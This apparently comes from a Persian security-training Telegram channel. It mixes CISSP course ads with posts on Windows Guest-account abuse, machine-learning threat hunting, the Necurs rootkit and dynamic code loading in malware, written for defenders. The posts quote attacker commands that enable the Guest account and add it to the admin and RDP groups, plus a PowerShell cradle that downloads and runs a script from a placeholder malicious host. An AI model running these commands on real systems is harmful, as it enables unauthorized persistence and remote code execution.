شرکت هامون بخاطر مسوولیت اجتماعی ؛ بجای شما ۲۰ درصد از هزینه ۱۹ م تومانی دوره CISSP را پرداخت میکند.
تا ۲۰ اردیبهشت میتوانید از این فرصت استفاده کنید
فقط برای اشخاص در ایران
واتس اپ 09902857290
Www.haumoun.com
تا ۲۰ اردیبهشت میتوانید از این فرصت استفاده کنید
فقط برای اشخاص در ایران
واتس اپ 09902857290
Www.haumoun.com
❤4👏2
مهمان ناخواندهای در سازمان؛ تحلیلی بر سوءاستفاده مهاجمان از حساب Guest در ویندوز
✍️روزبه نوروزی
در یک محیط ویندوز که ظاهراً هیچ نشانهای از آلودگی نداشت، موردی مشاهده شد که در نگاه اول بسیار ساده به نظر میرسید، اما در نهایت به کشف یک تکنیک پنهان و مؤثر از سوی مهاجمان منجر شد. دراینجا شناسایی استفادهی مخفیانه از حساب کاربری Guest در ویندوز که مهاجمان از آن برای دستیابی مجدد و پایدار به سیستم سوءاستفاده کرده بودند رو میبینیم
مدتهاست که حساب Guest در ویندوز دیگر کاربرد چندانی ندارد و در بسیاری از سازمانها به دلایل امنیتی غیرفعال باقی مانده است. اما همین موضوع باعث شده مهاجمان سایبری از این غفلت استفاده کرده و با فعالسازی مجدد این حساب، بدون جلب توجه تیمهای امنیتی، در شبکه باقی بمانند.
شناسایی اولیه
در لاگ، رویداد امنیتی شماره 4722 دیده شد که نشان از فعالسازی یک حساب کاربری داشت. با بررسی بیشتر مشخص شد این حساب، همان Guest بوده که مدتها غیرفعال بود. در ادامه، دستوراتی در لاگ آمده است
net user Guest /active:yes
net localgroup administrators Guest /add
net localgroup Remote Desktop Users Guest /add
این مهمه ، زیرا بهنظر میرسه مهاجم از این حساب برای دور زدن سیستمهای هشداردهنده و آنتیویروس استفاده کرده باشد.
تحلیل فنی
مهاجم با فعالسازی حساب Guest، رمز عبور جدیدی برای آن تعریف کرده و آن را به گروههای Administrators و Remote Desktop Users اضافه کرده بود. این کار به او امکان میداد از طریق RDP به سیستم دسترسی پیدا کند، و چون این دسترسی با یک حساب شناختهشده اما به ظاهر سیستمی انجام میشد، در بسیاری از سیستمهای نظارتی ردگیری نمیشد.
جالبتر آنکه مهاجم با استفاده از ابزارهایی مانند attrib.exe فایلهای خاصی را hidden و system کرده بود تا اسکریپتهای اجرایی خود را از دید کاربران مخفی کند. همچنین با wmic برخی پایداریها برای اجرای مجدد پس از ریاستارت سیستم اعمال کرده بود.
نشانهها و ردپاها
* فعال شدن حساب Guest پس از مدت طولانی
* رویدادهای امنیتی 4722 (فعالسازی کاربر)، 4728 (افزودن به گروه Admins) و 4776 (استفاده از حساب برای لاگین)
* ارتباطات RDP مشکوک در ساعات غیر اداری
* فایلهای hidden در مسیرهایی خاص
#آکادمی_روزبه
مرکز تخصصی CISSP
20 درصد تخفیف با سرمایه گذاری شرکت هامون
✍️روزبه نوروزی
در یک محیط ویندوز که ظاهراً هیچ نشانهای از آلودگی نداشت، موردی مشاهده شد که در نگاه اول بسیار ساده به نظر میرسید، اما در نهایت به کشف یک تکنیک پنهان و مؤثر از سوی مهاجمان منجر شد. دراینجا شناسایی استفادهی مخفیانه از حساب کاربری Guest در ویندوز که مهاجمان از آن برای دستیابی مجدد و پایدار به سیستم سوءاستفاده کرده بودند رو میبینیم
مدتهاست که حساب Guest در ویندوز دیگر کاربرد چندانی ندارد و در بسیاری از سازمانها به دلایل امنیتی غیرفعال باقی مانده است. اما همین موضوع باعث شده مهاجمان سایبری از این غفلت استفاده کرده و با فعالسازی مجدد این حساب، بدون جلب توجه تیمهای امنیتی، در شبکه باقی بمانند.
شناسایی اولیه
در لاگ، رویداد امنیتی شماره 4722 دیده شد که نشان از فعالسازی یک حساب کاربری داشت. با بررسی بیشتر مشخص شد این حساب، همان Guest بوده که مدتها غیرفعال بود. در ادامه، دستوراتی در لاگ آمده است
net user Guest /active:yes
net localgroup administrators Guest /add
net localgroup Remote Desktop Users Guest /add
این مهمه ، زیرا بهنظر میرسه مهاجم از این حساب برای دور زدن سیستمهای هشداردهنده و آنتیویروس استفاده کرده باشد.
تحلیل فنی
مهاجم با فعالسازی حساب Guest، رمز عبور جدیدی برای آن تعریف کرده و آن را به گروههای Administrators و Remote Desktop Users اضافه کرده بود. این کار به او امکان میداد از طریق RDP به سیستم دسترسی پیدا کند، و چون این دسترسی با یک حساب شناختهشده اما به ظاهر سیستمی انجام میشد، در بسیاری از سیستمهای نظارتی ردگیری نمیشد.
جالبتر آنکه مهاجم با استفاده از ابزارهایی مانند attrib.exe فایلهای خاصی را hidden و system کرده بود تا اسکریپتهای اجرایی خود را از دید کاربران مخفی کند. همچنین با wmic برخی پایداریها برای اجرای مجدد پس از ریاستارت سیستم اعمال کرده بود.
نشانهها و ردپاها
* فعال شدن حساب Guest پس از مدت طولانی
* رویدادهای امنیتی 4722 (فعالسازی کاربر)، 4728 (افزودن به گروه Admins) و 4776 (استفاده از حساب برای لاگین)
* ارتباطات RDP مشکوک در ساعات غیر اداری
* فایلهای hidden در مسیرهایی خاص
#آکادمی_روزبه
مرکز تخصصی CISSP
20 درصد تخفیف با سرمایه گذاری شرکت هامون
👍4❤1
ماشینلرنینگ و مدلهای ARIMA و LSTM در پیشبینی رفتارهای عادی و تشخیص نقاط غیرعادی در دادهها برای هانت سایبری
✍️روزبه نوروزی
مقدمه
در عصر دیجیتال، پیچیدگی افزایشیافته حملات سایبری و الگوهای متغیر رفتار مهاجمان، سازمانها را مجبور کرده است تا به تکنولوژیهای پیشرفتهای برای پیشبینی و شناسایی تهدیدات سایبری مراجعه کنند. استفاده از ماشینلرنینگ و مدلهای سری زمانی مانند (AutoRegressive Integrated Moving Average) و LSTM(Long Short-Term Memory) به عنوان یکی از روشهای کلیدی برای تحلیل داده و پیشبینی رفتارهای غیرعادی، توانایی سازمانها در شناسایی تهدیدات سایبری را به شدت بهبود داده است.
در اینجا به مرور کاربرد این مدلها در سیستمهای سایبری و اهمیت آنها در شناسایی تهدیدات آیندهنگر و نقاط آسیبپذیر میپردازم.
کاربرد مدلهای سری زمانی در هانت سایبری
1. مدل ARIMA در تشخیص الگوهای حملات
مدل ARIMA عمدتاً برای پیشبینی الگوهای زمانی با دادههای تاریخی به کار میرود و قابلیت تحلیل روندهای گذشته برای استخراج پیشبینیهای آینده را دارد. در هانت سایبری:
- سازمانها از ARIMA برای پیشبینی تعداد درخواستهای مشکوک در شبکه طی دورههای خاص زمانی استفاده میکنند.
- به عنوان مثال، تحلیل وقایع گذشته مانند تعداد تلاشهای ناکام برای ورود به سیستم باعث میشود تا نقاط اوج (Spikes) آینده که ممکن است نشانگر حملات Brute Force باشند، شناسایی شود.
2. مدل LSTM در شناسایی نقاط غیرعادی و حملات پیچیده
مدلهای LSTM، یکی از شکل بافتهترین رویکردهای یادگیری عمیق، برای تحلیل دادههایی با وابستگی طولانیمدت در سری زمانی مناسب هستند. این مدلها در هانت سایبری بهطور خاص برای شناسایی الگوهای پیچیدهتر به کار میروند:
- مدل LSTM قادر به یادگیری توالیهایی است که رفتار مهاجم طی بازههای زمانی متفاوت را نشان میدهد.
- به عنوان مثال، ممکن است دسترسیهای غیرمعمول به منابع حساس طی شب یا خارج از ساعات کاری با استفاده از LSTM کشف شوند. این نقاط غیرعادی میتوانند نشاندهنده حرکتهای جانبی مهاجم داخل شبکه باشند.
مثال عملی:
در مقالهای منتشرشده در JETIR، پلتفرم پیشنهادی از ترکیب ARIMA و LSTM استفاده کرده تا حملات سایبری بالقوه را بر اساس تحلیل دادههای تاریخی پیشبینی کند. این مدلها با شناسایی روابط میان الگوهای گذشته و پیشبینی نقاط غیرعادی، به سازمانها این امکان را دادهاند تا به جای رویکردهای واکنشی سنتی، به روشهای فعالانه و پیشگیرانه مهاجمین را شناسایی کنند.
https://www.jetir.org/download1.php?file=JETIR2503642.pdf
مزایای استفاده از ماشینلرنینگ و مدلهای سری زمانی
1. دقت بالاتر در شناسایی تهدیدات
مدلهای ARIMA و LSTM با تمرکز بر تحلیلهای تاریخی و پیشبینی روندهای آینده، قادر به شناسایی نقاط غیرعادی هستند که در رویکردهای سنتی ممکن است پنهان بمانند.
2. شناسایی تهدیدات نوظهور و پیشبینی حملات
به کمک این مدلها، سازمانها میتوانند تهدیداتی را که هنوز در مراحل اولیه قرار دارند شناسایی و پیشبینی کنند و اقدامات لازم را پیش از آسیبدیدگی انجام دهند.
3. ترکیب با سیستمهای هوش مصنوعی
این الگوریتمها میتوانند در کنار فناوریهای دیگر مثل هوش مصنوعی و دانش سایبری، بهبود قابل توجهی در خودکارسازی فرآیند هانت سایبری ایجاد کنند.
چالشها و محدودیتها
1. نیاز به دادههای با کیفیت بالا
اثربخشی این مدلها به کیفیت دادههای تاریخی بستگی دارد. دادههای ناقص یا آلوده میتوانند نتایج پیشبینی را به شدت تحت تأثیر قرار دهند.
2. پیچیدگی مدلسازی
مدلهای ARIMA نیازمند تنظیم دقیق پارامترها برای دقت بالا هستند، در حالی که مدلهای LSTM به منابع محاسباتی قوی برای پردازش حجم زیاد داده نیاز دارند.
3. محدودیت در شناسایی رفتارهای جدید مهاجمان
این مدلها به شدت بر دادههای تاریخی وابسته هستند و ممکن است در شناسایی تهدیدات جدید یا نوظهور که الگویی متفاوت دارند، دچار محدودیت شوند.
نتیجهگیری
استفاده از ماشینلرنینگ و مدلهای سری زمانی مانند ARIMA و LSTM در حوزه هانت سایبری، سازمانها را قادر ساخته است تا به جای واکنش به حملات، به پیشبینی و شناسایی زودهنگام تهدیدات بپردازند. این رویکرد نه تنها دقت در شناسایی را بالا برده بلکه زمان پاسخدهی را به شدت کاهش داده است. با وجود چالشها، استفاده از این مدلها همراه با هوش مصنوعی و تحلیلهای پیشرفته، آیندهای مطمئنتر برای امنیت سایبری فراهم خواهد کرد.
#آکادمی_روزبه
مرکز تخصصی CISSP
20 درصد تخفیف با سرمایه گذاری شرکت هامون
✍️روزبه نوروزی
مقدمه
در عصر دیجیتال، پیچیدگی افزایشیافته حملات سایبری و الگوهای متغیر رفتار مهاجمان، سازمانها را مجبور کرده است تا به تکنولوژیهای پیشرفتهای برای پیشبینی و شناسایی تهدیدات سایبری مراجعه کنند. استفاده از ماشینلرنینگ و مدلهای سری زمانی مانند (AutoRegressive Integrated Moving Average) و LSTM(Long Short-Term Memory) به عنوان یکی از روشهای کلیدی برای تحلیل داده و پیشبینی رفتارهای غیرعادی، توانایی سازمانها در شناسایی تهدیدات سایبری را به شدت بهبود داده است.
در اینجا به مرور کاربرد این مدلها در سیستمهای سایبری و اهمیت آنها در شناسایی تهدیدات آیندهنگر و نقاط آسیبپذیر میپردازم.
کاربرد مدلهای سری زمانی در هانت سایبری
1. مدل ARIMA در تشخیص الگوهای حملات
مدل ARIMA عمدتاً برای پیشبینی الگوهای زمانی با دادههای تاریخی به کار میرود و قابلیت تحلیل روندهای گذشته برای استخراج پیشبینیهای آینده را دارد. در هانت سایبری:
- سازمانها از ARIMA برای پیشبینی تعداد درخواستهای مشکوک در شبکه طی دورههای خاص زمانی استفاده میکنند.
- به عنوان مثال، تحلیل وقایع گذشته مانند تعداد تلاشهای ناکام برای ورود به سیستم باعث میشود تا نقاط اوج (Spikes) آینده که ممکن است نشانگر حملات Brute Force باشند، شناسایی شود.
2. مدل LSTM در شناسایی نقاط غیرعادی و حملات پیچیده
مدلهای LSTM، یکی از شکل بافتهترین رویکردهای یادگیری عمیق، برای تحلیل دادههایی با وابستگی طولانیمدت در سری زمانی مناسب هستند. این مدلها در هانت سایبری بهطور خاص برای شناسایی الگوهای پیچیدهتر به کار میروند:
- مدل LSTM قادر به یادگیری توالیهایی است که رفتار مهاجم طی بازههای زمانی متفاوت را نشان میدهد.
- به عنوان مثال، ممکن است دسترسیهای غیرمعمول به منابع حساس طی شب یا خارج از ساعات کاری با استفاده از LSTM کشف شوند. این نقاط غیرعادی میتوانند نشاندهنده حرکتهای جانبی مهاجم داخل شبکه باشند.
مثال عملی:
در مقالهای منتشرشده در JETIR، پلتفرم پیشنهادی از ترکیب ARIMA و LSTM استفاده کرده تا حملات سایبری بالقوه را بر اساس تحلیل دادههای تاریخی پیشبینی کند. این مدلها با شناسایی روابط میان الگوهای گذشته و پیشبینی نقاط غیرعادی، به سازمانها این امکان را دادهاند تا به جای رویکردهای واکنشی سنتی، به روشهای فعالانه و پیشگیرانه مهاجمین را شناسایی کنند.
https://www.jetir.org/download1.php?file=JETIR2503642.pdf
مزایای استفاده از ماشینلرنینگ و مدلهای سری زمانی
1. دقت بالاتر در شناسایی تهدیدات
مدلهای ARIMA و LSTM با تمرکز بر تحلیلهای تاریخی و پیشبینی روندهای آینده، قادر به شناسایی نقاط غیرعادی هستند که در رویکردهای سنتی ممکن است پنهان بمانند.
2. شناسایی تهدیدات نوظهور و پیشبینی حملات
به کمک این مدلها، سازمانها میتوانند تهدیداتی را که هنوز در مراحل اولیه قرار دارند شناسایی و پیشبینی کنند و اقدامات لازم را پیش از آسیبدیدگی انجام دهند.
3. ترکیب با سیستمهای هوش مصنوعی
این الگوریتمها میتوانند در کنار فناوریهای دیگر مثل هوش مصنوعی و دانش سایبری، بهبود قابل توجهی در خودکارسازی فرآیند هانت سایبری ایجاد کنند.
چالشها و محدودیتها
1. نیاز به دادههای با کیفیت بالا
اثربخشی این مدلها به کیفیت دادههای تاریخی بستگی دارد. دادههای ناقص یا آلوده میتوانند نتایج پیشبینی را به شدت تحت تأثیر قرار دهند.
2. پیچیدگی مدلسازی
مدلهای ARIMA نیازمند تنظیم دقیق پارامترها برای دقت بالا هستند، در حالی که مدلهای LSTM به منابع محاسباتی قوی برای پردازش حجم زیاد داده نیاز دارند.
3. محدودیت در شناسایی رفتارهای جدید مهاجمان
این مدلها به شدت بر دادههای تاریخی وابسته هستند و ممکن است در شناسایی تهدیدات جدید یا نوظهور که الگویی متفاوت دارند، دچار محدودیت شوند.
نتیجهگیری
استفاده از ماشینلرنینگ و مدلهای سری زمانی مانند ARIMA و LSTM در حوزه هانت سایبری، سازمانها را قادر ساخته است تا به جای واکنش به حملات، به پیشبینی و شناسایی زودهنگام تهدیدات بپردازند. این رویکرد نه تنها دقت در شناسایی را بالا برده بلکه زمان پاسخدهی را به شدت کاهش داده است. با وجود چالشها، استفاده از این مدلها همراه با هوش مصنوعی و تحلیلهای پیشرفته، آیندهای مطمئنتر برای امنیت سایبری فراهم خواهد کرد.
#آکادمی_روزبه
مرکز تخصصی CISSP
20 درصد تخفیف با سرمایه گذاری شرکت هامون
👍4👌1
یک سال منتورینگ شما توسط استاد روزبه برو روی پکیج دوره CISSP میباشد
از تخفیف 20 درصدی شرکت هامون استفاده کنید و یکسال منتورینگ داشته باشید.
واتس اپ 09902857290
www.haumoun.com
www.roozbeh.academy
از تخفیف 20 درصدی شرکت هامون استفاده کنید و یکسال منتورینگ داشته باشید.
واتس اپ 09902857290
www.haumoun.com
www.roozbeh.academy
👍3
کال بک در کرنل و مثال واقعی یک روت کیت
از کتاب Evasive Malware گروه آموزشی وابسته به تلگرام آکادمی روزبه
مقوله Callback در کرنل چیست؟
مقوله Callbackها توسط سیستمعامل برای اطلاعرسانی رویدادهای خاص به ماژولهای کرنل (مانند درایورها) استفاده میشوند. مثلاً اگر یک فرآیند جدید ایجاد شود، سیستمعامل از طریق PsSetCreateProcessNotifyRoutine یک اعلان به درایورهای ثبتشده ارسال میکند تا آنها بتوانند عملیاتی مانند ثبت یا پردازش را انجام دهند.
نحوه سوءاستفاده از Callback چیست؟
روتکیتها، مانند Necurs، از این قابلیت برای نفوذ و کنترل سیستم سوءاستفاده میکنند. آنها با ثبت Callbackهای مخرب در کرنل، میتوانند:
- رویدادهای مهم سیستم (مانند ایجاد فرآیند یا تغییر در فایلها) را رهگیری کنند.
- اقدامات مخرب انجام دهند، مانند پنهانسازی فرآیند یا فایلها، مسدود کردن ابزارهای امنیتی، و کنترل فعالیت شبکه.
روتکیت Necurs: معرفی و هدف
- سال ظهور:Necurs در سال 2012 شناسایی شد و به یکی از پیچیدهترین روتکیتهای زمان خود تبدیل شد.
- فعالیت: Necurs بهعنوان یک روتکیت و بات نت عمل میکرد و علاوه بر مخفیکردن خود، برای توزیع بدافزارهایی مانند Locky و GameOver Zeus مورد استفاده قرار میگرفت.
- سال نابودی: در سال 2020، مایکروسافت و تیمهای امنیتی زیرساختهای Necurs را مختل و سرورهای فرمان و کنترل (C2) آن را از بین بردند.
روت کیت Necurs و سوءاستفاده از Callbackها
روتکیت Necurs برای تثبیت موقعیت، محقق ساختن عملیات مخرب و پنهان ماندن از ابزارهای امنیتی، از Callbackهای کرنل بهصورت گسترده سوءاستفاده میکرد.
روشهای سوءاستفاده Necurs از Callbackها:
1. پنهانسازی فرآیندها:
-این Necurs با استفاده ازPsSetCreateProcessNotifyRoutin ، فرآیندهای خود و بدافزارهای وابسته را از لیست فرآیندهای قابل مشاهده پنهان میکرد.
- هر بار که یک فرآیند جدید در سیستم راهاندازی میشد، Necurs بررسی میکرد آیا باید این فرآیند را پنهان کند یا به اقدامات مخرب خاصی بپردازد.
2. کنترل سیستم فایل:
- با سوءاستفاده از Callbackهای مرتبط با سیستم فایل (مانند فیلترهای I/O)، Necurs فایلهای مخرب خود را پنهان میکرد یا دسترسی به آنها را مسدود میکرد.
- این تکنیک باعث میشد ابزارهای امنیتی نتوانند فایلهای Necurs را شناسایی یا حذف کنند.
3. اختلال در ابزارهای امنیتی:
- روت کیت Necurs ابزارهای ضدبدافزار یا تحلیل بدافزار را از طریق مانیتور کردن آنها شناسایی کرده و تلاش میکرد اجرای آنها را مختل کند.
- این روتکیت حتی میتوانست کدی را بهطور مخرب به فرآیندهای امنیتی تزریق کند یا ساختار دادههای آنها را روی کرنل تغییر دهد.
4. نظارت و مداخله در فعالیت شبکه:
- این Necurs از Callbackهای سطح شبکه (TDI یا سایر فیلترهای شبکه) برای مخفی کردن ارتباط با سرورهای C2 استفاده میکرد.
- این قابلیت باعث شد ترافیک مخرب آن، مانند ارسال اسپم یا دستورات بدافزاری، از دید ابزارهای شناسایی شبکه پنهان بماند.
5. ماندگاری و مقاومت:
- با استفاده از Callbackها، Necurs هرگونه تلاش برای شناسایی و حذف را در همان لحظه شناسایی کرده و با مختل کردن عملیات ضدبدافزارها از حذف خود جلوگیری میکرد.
**چه روت کیتهایی الان فعال هستند و ما نمیدانیم؟
#آکادمی_روزبه
مرکز تخصصی CISSP
از کتاب Evasive Malware گروه آموزشی وابسته به تلگرام آکادمی روزبه
مقوله Callback در کرنل چیست؟
مقوله Callbackها توسط سیستمعامل برای اطلاعرسانی رویدادهای خاص به ماژولهای کرنل (مانند درایورها) استفاده میشوند. مثلاً اگر یک فرآیند جدید ایجاد شود، سیستمعامل از طریق PsSetCreateProcessNotifyRoutine یک اعلان به درایورهای ثبتشده ارسال میکند تا آنها بتوانند عملیاتی مانند ثبت یا پردازش را انجام دهند.
نحوه سوءاستفاده از Callback چیست؟
روتکیتها، مانند Necurs، از این قابلیت برای نفوذ و کنترل سیستم سوءاستفاده میکنند. آنها با ثبت Callbackهای مخرب در کرنل، میتوانند:
- رویدادهای مهم سیستم (مانند ایجاد فرآیند یا تغییر در فایلها) را رهگیری کنند.
- اقدامات مخرب انجام دهند، مانند پنهانسازی فرآیند یا فایلها، مسدود کردن ابزارهای امنیتی، و کنترل فعالیت شبکه.
روتکیت Necurs: معرفی و هدف
- سال ظهور:Necurs در سال 2012 شناسایی شد و به یکی از پیچیدهترین روتکیتهای زمان خود تبدیل شد.
- فعالیت: Necurs بهعنوان یک روتکیت و بات نت عمل میکرد و علاوه بر مخفیکردن خود، برای توزیع بدافزارهایی مانند Locky و GameOver Zeus مورد استفاده قرار میگرفت.
- سال نابودی: در سال 2020، مایکروسافت و تیمهای امنیتی زیرساختهای Necurs را مختل و سرورهای فرمان و کنترل (C2) آن را از بین بردند.
روت کیت Necurs و سوءاستفاده از Callbackها
روتکیت Necurs برای تثبیت موقعیت، محقق ساختن عملیات مخرب و پنهان ماندن از ابزارهای امنیتی، از Callbackهای کرنل بهصورت گسترده سوءاستفاده میکرد.
روشهای سوءاستفاده Necurs از Callbackها:
1. پنهانسازی فرآیندها:
-این Necurs با استفاده ازPsSetCreateProcessNotifyRoutin ، فرآیندهای خود و بدافزارهای وابسته را از لیست فرآیندهای قابل مشاهده پنهان میکرد.
- هر بار که یک فرآیند جدید در سیستم راهاندازی میشد، Necurs بررسی میکرد آیا باید این فرآیند را پنهان کند یا به اقدامات مخرب خاصی بپردازد.
2. کنترل سیستم فایل:
- با سوءاستفاده از Callbackهای مرتبط با سیستم فایل (مانند فیلترهای I/O)، Necurs فایلهای مخرب خود را پنهان میکرد یا دسترسی به آنها را مسدود میکرد.
- این تکنیک باعث میشد ابزارهای امنیتی نتوانند فایلهای Necurs را شناسایی یا حذف کنند.
3. اختلال در ابزارهای امنیتی:
- روت کیت Necurs ابزارهای ضدبدافزار یا تحلیل بدافزار را از طریق مانیتور کردن آنها شناسایی کرده و تلاش میکرد اجرای آنها را مختل کند.
- این روتکیت حتی میتوانست کدی را بهطور مخرب به فرآیندهای امنیتی تزریق کند یا ساختار دادههای آنها را روی کرنل تغییر دهد.
4. نظارت و مداخله در فعالیت شبکه:
- این Necurs از Callbackهای سطح شبکه (TDI یا سایر فیلترهای شبکه) برای مخفی کردن ارتباط با سرورهای C2 استفاده میکرد.
- این قابلیت باعث شد ترافیک مخرب آن، مانند ارسال اسپم یا دستورات بدافزاری، از دید ابزارهای شناسایی شبکه پنهان بماند.
5. ماندگاری و مقاومت:
- با استفاده از Callbackها، Necurs هرگونه تلاش برای شناسایی و حذف را در همان لحظه شناسایی کرده و با مختل کردن عملیات ضدبدافزارها از حذف خود جلوگیری میکرد.
**چه روت کیتهایی الان فعال هستند و ما نمیدانیم؟
#آکادمی_روزبه
مرکز تخصصی CISSP
👍3💯1
ابزاری جالب که امروز بهتون معرفی میکنم
ابزار EventLog Compendium
این ابزار به تحلیلگران امنیت، مدیران سیستم، و شکارچیان تهدید (Threat Hunters) کمک میکند تا اطلاعات دقیق و مستندشده درباره کدهای رویداد (Event IDs) موجود در لاگ سیستمهای ویندوز به دست آورند و تصمیمات خود را سریعتر و دقیقتر انجام دهند.
ابزار بسیار جالبی برای SOC و هانت هست
همین الان به ۵ مورد استفاده اش فکر کنید
#آکادمی_روزبه
مرکز تخصصی CISSP
https://eventlog-compendium.streamlit.app/Sysmon_Configuration_Builder
ابزار EventLog Compendium
این ابزار به تحلیلگران امنیت، مدیران سیستم، و شکارچیان تهدید (Threat Hunters) کمک میکند تا اطلاعات دقیق و مستندشده درباره کدهای رویداد (Event IDs) موجود در لاگ سیستمهای ویندوز به دست آورند و تصمیمات خود را سریعتر و دقیقتر انجام دهند.
ابزار بسیار جالبی برای SOC و هانت هست
همین الان به ۵ مورد استفاده اش فکر کنید
#آکادمی_روزبه
مرکز تخصصی CISSP
https://eventlog-compendium.streamlit.app/Sysmon_Configuration_Builder
Streamlit
Sysmon Configuration Builder
is the one-stop shop utility designed to simplify Windows security event log analysis, audit pol...
❤2👍2👏1
صفحه ای که میتواند دوست شما باشد!!
این بلو اسکرین روی اعصاب خیلی از ما هست که رخ دادنش میتونه دلایل زیادی داشته باشه. اما میدونین یکی از دلایل مهمش حفاظت از ما است ؟
بله ؛ این صفحه روممکنه در وقتی ملاحظه کنید که بدافزار و هکری سعی در دورزدن کنترل های امنیتی ویندوز داشته .
مثلا ویندوز داشته توسط پچ گارد امنیت کرنل رو چک میکرده و با مشاهده مشکلی؛ ویندوز رو در این حالت برده تا هم لاگ برداره هم ویندوز رو به حالت شروع از نو و چک کردن همه جوانب ببره .
پس خیلی از این صفحه دلخور نباشید 😊.
#آکادمی_روزبه
آموزش تخصصی امنیت
این بلو اسکرین روی اعصاب خیلی از ما هست که رخ دادنش میتونه دلایل زیادی داشته باشه. اما میدونین یکی از دلایل مهمش حفاظت از ما است ؟
بله ؛ این صفحه روممکنه در وقتی ملاحظه کنید که بدافزار و هکری سعی در دورزدن کنترل های امنیتی ویندوز داشته .
مثلا ویندوز داشته توسط پچ گارد امنیت کرنل رو چک میکرده و با مشاهده مشکلی؛ ویندوز رو در این حالت برده تا هم لاگ برداره هم ویندوز رو به حالت شروع از نو و چک کردن همه جوانب ببره .
پس خیلی از این صفحه دلخور نباشید 😊.
#آکادمی_روزبه
آموزش تخصصی امنیت
👍3💯2❤1
Splunk.pdf
122.7 KB
❤5👍1
❤️شرکت هامون ۴ م تومان از هزینه دوره CISSP را به جای شما پرداخت میکند.
🔴شنبه آخرین مهلت
من یکسال پس از دوره CISSP همراه شما هستم تا با برنامه ریزی ؛ موفقیت شما را جشن بگیریم 💐
واتس اپ 09902857290
🔴شنبه آخرین مهلت
من یکسال پس از دوره CISSP همراه شما هستم تا با برنامه ریزی ؛ موفقیت شما را جشن بگیریم 💐
واتس اپ 09902857290
❤5
#تجربه
برای چندمین بار:
لاگ ریبوت های سرور و فایروال رو جدی بگیرید !!
مورد هست که به راحتی با همین ها نفوذ کشف شد
تمام
#آکادمی_روزبه
برای چندمین بار:
لاگ ریبوت های سرور و فایروال رو جدی بگیرید !!
مورد هست که به راحتی با همین ها نفوذ کشف شد
تمام
#آکادمی_روزبه
👍9💯1
کامپایل داینامیک
از منظر تحلیلگر بدافزار این موضوع به معنای تولید و اجرای کد در زمان اجرا است. این روش توسط بسیاری از بدافزارها به منظور مخفی کردن رفتار واقعیشان یا جلوگیری از شناسایی شدن توسط ابزارهای امنیتی استفاده میشود.
کامپایل داینامیک به بدافزار اجازه میدهد که در لحظه اجرا، کدی جدید تولید کند، بخشهای مخرب را دریافت کرده و اجرا کند، و خود را از تحلیل استاتیک یا سنتی دور نگه دارد.
کامپایل داینامیک چگونه در بدافزارها استفاده میشود؟
1. تولید کد مخرب در زمان اجرا
در این روش، بدافزار از کدی که در فایل اصلی نوشته شده است، استفاده نمیکند. در عوض، کد مخرب خود را داینامیک تولید میکند یا از سرور Command & Control (C2) دریافت میکند. این کار معمولاً باعث میشود تحلیلگر نتواند رفتار بدافزار را بهطور کامل در بررسی اولیه شناسایی کند.
2. اجرا در حافظه (Fileless Execution)
کامپایل داینامیک اغلب همراه با تکنیکهای اجرای در حافظه (Fileless) دیده میشود. این یعنی بدافزار فایل اجرایی یا کدی را روی دیسک ذخیره نمیکند و مراحل مخرب خود را مستقیم در RAM اجرا میکند. این روش شناسایی بدافزار را برای ابزارهای امنیتی مبتنی بر تحلیل فایل دشوارتر میکند.
3. مبهمسازی و تاخیر در تحلیل
کامپایل داینامیک یکی از تکنیکهای رایج مبهمسازی (Obfuscation) محسوب میشود. بسیاری از ابزارهای تحلیل بدافزار نمیتوانند کدی را که در زمان اجرا تولید میشود، به راحتی بررسی کنند. این مسئله باعث سختتر شدن دیباگ و تحلیل رفتار بدافزار میشود.
مثالهای رایج از کامپایل داینامیک در بدافزارها
PowerShell Cradle
بدافزارهای مبتنی بر PowerShell معمولاً از تکنیکهای کامپایل داینامیک استفاده میکنند تا کد مخرب را از سرور بارگذاری کرده و مستقیم اجرا کنند. به عنوان مثال:
IEX (New-Object Net.WebClient).DownloadString('http://malicioussite.com/payload.ps1');
- این کد در زمان اجرا، اسکریپت مخرب را از وبسایت دریافت کرده، و آن را داینامیک کامپایل و اجرا میکند.
Dynamic DLL Loading
برخی بدافزارها بهجای اینکه همه کد مخرب را در فایل اصلی ذخیره کنند، فقط هسته بدافزار را اجرا کرده و سپس DLLهای مخربرا با کامپایل داینامیک بارگذاری میکنند. این کار معمولاً از طریق APIهای ویندوز مثل LoadLibrary انجام میشود.
JavaScript Eval
تکنیکهای کامپایل داینامیک در JavaScript نیز به وفور استفاده میشود. بدافزار ممکن است از دستور eval() استفاده کند تا کدی که به صورت داینامیک تولید یا دریافت شده است را اجرا کند.
javascript
let dynamicCode = "alert('Executed malicious code!')";
eval(dynamicCode); // اجرای کد مخرب
تحلیل کامپایل داینامیک در بدافزار
چالشها
1. کد دینامیک و غیرقابل پیشبینی:چون کد واقعی در زمان اجرا تولید میشود، تحلیلگر نمیتواند به طور مستقیم در فایل اولیه رفتار بدافزار را شناسایی کند.
2. اجرای در حافظه: ممکن است بدافزار فایل یا ردپای مشخصی روی دیسک نداشته باشد و فقط در حافظه فعالیت کند.
3. مبهمسازی کد: کد داینامیک معمولاً با تکنیکهای مبهمسازی همراه است تا باز کردن و خواندن آن پیچیدهتر شود.
#آکادمی_روزبه
مرکز تخصصی CISSP
از منظر تحلیلگر بدافزار این موضوع به معنای تولید و اجرای کد در زمان اجرا است. این روش توسط بسیاری از بدافزارها به منظور مخفی کردن رفتار واقعیشان یا جلوگیری از شناسایی شدن توسط ابزارهای امنیتی استفاده میشود.
کامپایل داینامیک به بدافزار اجازه میدهد که در لحظه اجرا، کدی جدید تولید کند، بخشهای مخرب را دریافت کرده و اجرا کند، و خود را از تحلیل استاتیک یا سنتی دور نگه دارد.
کامپایل داینامیک چگونه در بدافزارها استفاده میشود؟
1. تولید کد مخرب در زمان اجرا
در این روش، بدافزار از کدی که در فایل اصلی نوشته شده است، استفاده نمیکند. در عوض، کد مخرب خود را داینامیک تولید میکند یا از سرور Command & Control (C2) دریافت میکند. این کار معمولاً باعث میشود تحلیلگر نتواند رفتار بدافزار را بهطور کامل در بررسی اولیه شناسایی کند.
2. اجرا در حافظه (Fileless Execution)
کامپایل داینامیک اغلب همراه با تکنیکهای اجرای در حافظه (Fileless) دیده میشود. این یعنی بدافزار فایل اجرایی یا کدی را روی دیسک ذخیره نمیکند و مراحل مخرب خود را مستقیم در RAM اجرا میکند. این روش شناسایی بدافزار را برای ابزارهای امنیتی مبتنی بر تحلیل فایل دشوارتر میکند.
3. مبهمسازی و تاخیر در تحلیل
